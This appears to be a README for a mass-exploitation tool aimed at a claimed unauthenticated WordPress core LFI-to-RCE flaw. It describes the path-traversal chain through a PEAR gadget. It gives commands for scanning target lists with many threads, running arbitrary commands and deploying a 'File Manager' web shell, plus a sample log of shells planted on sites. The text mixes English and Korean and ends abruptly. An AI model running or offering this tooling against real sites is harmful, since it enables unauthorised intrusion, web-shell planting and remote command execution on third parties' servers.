<div align="center">

# 🎯 CVE-2026-87902 — WordPress Core LFI → RCE

<img src="https://img.shields.io/badge/CVE-2026--87902-critical-red?style=for-the-badge&amp;logo=wordpress" />
<img src="https://img.shields.io/badge/CVSS-9.8-darkred?style=for-the-badge" />
<img src="https://img.shields.io/badge/GHSA-7hp8--65ch--5whp-orange?style=for-the-badge" />
<img src="https://img.shields.io/badge/CWE--22-Path_Traversal-blue?style=for-the-badge" />

<img src="https://img.shields.io/badge/Author-HackfutSecRoot-purple?style=for-the-badge&amp;logo=github" />
<img src="https://img.shields.io/badge/Python-3.8+-blue?style=for-the-badge&amp;logo=python" />
<img src="https://img.shields.io/badge/License-MIT-green?style=for-the-badge" />

<br>

<img src="https://readme-typing-svg.demolab.com?font=Fira+Code&amp;size=22&amp;duration=3000&amp;pause=1000&amp;color=F75C7E%C2%A2er=true&amp;vCenter=true&amp;width=700&amp;lines=WordPress+get_page_template()+Unauthenticated+LFI;PEAR+gadget+chain+%E2%86%92+RCE+%E2%86%92+File+Manager;Mass+scanner+with+multi-threading" />

<br>

**[🔍 Overview](#-overview) · [⚡ Quick Start](#-quick-start) · [🎯 Usage](#-usage) · [📊 Output](#-output) · [📞 Contact](#-contact)**

</div>

---

## 🔍 Overview

**CVE-2026-87902** is a critical **unauthenticated Local File Inclusion (LFI)** vulnerability in WordPress core that leads to **Remote Code Execution (RCE)** via the PEAR gadget chain.

The vulnerability resides in `wp-includes/template.php:get_page_template()`, which uses the public `pagename` query variable (read from `$_POST`) to construct a template name **without passing it through `validate_file()`**. Since `locate_template()` only performs `file_exists()`, a real `page-*` directory inside the active theme gives full path traversal.

### 🎯 Attack Chain

┌─────────────────┐ ┌──────────────────┐ ┌──────────────────┐ │ 익명 POST │───▶│ LFI via │───▶│ PEAR Gadget │ │ page_id + │ │ page-templates/│ │ config-create │ │ pagename │ │ ../../../ │ │ writes shell │ └─────────────────┘ └──────────────────┘ └──────────────────┘ │ ▼ ┌──────────────────┐ │ 💀 RCE + │ │ File Manager │ └──────────────────┘


### ⚠️ Affected Versions

| Product | Vulnerable | Patched |
|---------|-----------|---------|
| **WordPress Core** | `4.7.0` → `7.1.1` | `7.1.2+` |
| **Severity** | 🔴 **CRITICAL** | — |
| **CVSS 4.0** | **9.8** | — |
| **Authentication** | ❌ None required | — |

---

## ⚡ Quick Start

### 📦 Installation

```bash
# Clone repository
git clone https://github.com/HackfutSecRoot/CVE-2026-87902.git
cd CVE-2026-87902

# Install dependencies (stdlib only — no pip needed!)
python --version  # Requires Python 3.8+

🚀 First Run

# 1. 대상 파일 생성
echo "https://target.com" > targets.txt
echo "https://another-site.org" >> targets.txt

# 2. 비파괴 검사 (안전)
python main.py -l targets.txt --check --threads 20

# 3. 전체 익스플로잇 + 파일 관리자
python main.py -l targets.txt --rce --shell --threads 10

🎯 Usage

📋 Available Modes

Mode	Command	Description
🔍 Check	`python main.py -l targets.txt --check`	Non-destructive LFI detection
💥 LFI	`python main.py -l targets.txt`	Confirm LFI with OPML oracle
⚡ RCE	`python main.py -l targets.txt --rce --command "id"`	Execute commands via PEAR
📁 Shell	`python main.py -l targets.txt --rce --shell`	Deploy File Manager

🔧 Command Line Options

python main.py --help

  -u, --url URL          단일 대상 URL
  -l, --list FILE        대상 목록 파일 (한 줄에 하나씩)
  --check                비파괴 검사만 수행
  --rce                  RCE 에스컬레이션 활성화
  --shell                File Manager 셸 배포
  --command CMD          실행할 명령 (기본값: id)
  --page-id N            특정 페이지 ID 강제 지정
  --threads N            동시 스레드 수 (기본값: 20)
  --timeout S            요청당 타임아웃 (기본값: 12)
  --proxy URL            HTTP(S) 프록시
  --output FILE          전체 로그 출력
  --output-vuln FILE     취약한 대상만 출력
  --output-rce FILE      RCE 대상만 출력
  --no-color             ANSI 색상 비활성화

💡 Examples

# RCE + 파일 관리자를 사용한 단일 대상
python main.py -u https://target.com --rce --shell --command "whoami"

# 프록시를 사용한 대량 스캔 (Burp Suite)
python main.py -l targets.txt --rce --proxy http://127.0.0.1:8080 --threads 5

# 검색이 실패할 경우 사용자 지정 페이지 ID
python main.py -u https://target.com --page-id 2 --rce --shell

📊 Output

After a successful run, the following files are generated:

File	Contents
📄 `results.txt`	Full scan log
🎯 `vulnerable.txt`	Targets with confirmed LFI
💀 `rce.txt`	Targets with successful RCE
📁 `shells.txt`	File Manager URLs

🖥️ Sample Console Output

CVE-2026-87902 대량 스캐너 v3.0
  WordPress get_page_template() 인증되지 않은 LFI -> RCE
  
  GHSA-7hp8-65ch-5whp | CVSS 9.8 | CWE-22
  영향받는 버전: WordPress 4.7.0 - 7.1.1
  페이로드: File Manager (자동 배포)
======================================================================
  모드     : EXPLOIT + FILE MANAGER
  대상     : 50
  스레드   : 20
  타임아웃 : 12.0s
  시작     : 2026-09-28 14:32:15
======================================================================

[14:32:16] [+] https://target1.com | 취약 | LFI 확인됨: wp-links-opml.php via page-templates/../../../../ (page_id=2, POST, depth=4)
[14:32:17] [*] https://target1.com | RCE + File Manager 시작 중...
[14:32:18] [+]   가젯 발견: /usr/share/php/pearcmd @ depth=7
[14:32:19] [$]   File Manager 배포됨: https://target1.com/?page_id=2&pagename=...
[14:32:19] [$] https://target1.com | File Manager | https://target1.com/...
[14:32:20] [-] https://target2.com | 취약하지 않음 | 패치됨: 7.1.5 >= 7.1.2
[14:32:21] [!] https://target3.com | 취약 가능성 | 취약한 버전(5.8.1)이지만 OPML 오라클이 작동하지 않음
[14:32:22] [!] https://target4.com | RCE | uid=33(www-data) gid=33(www-data)

CVE-2026-87902

인기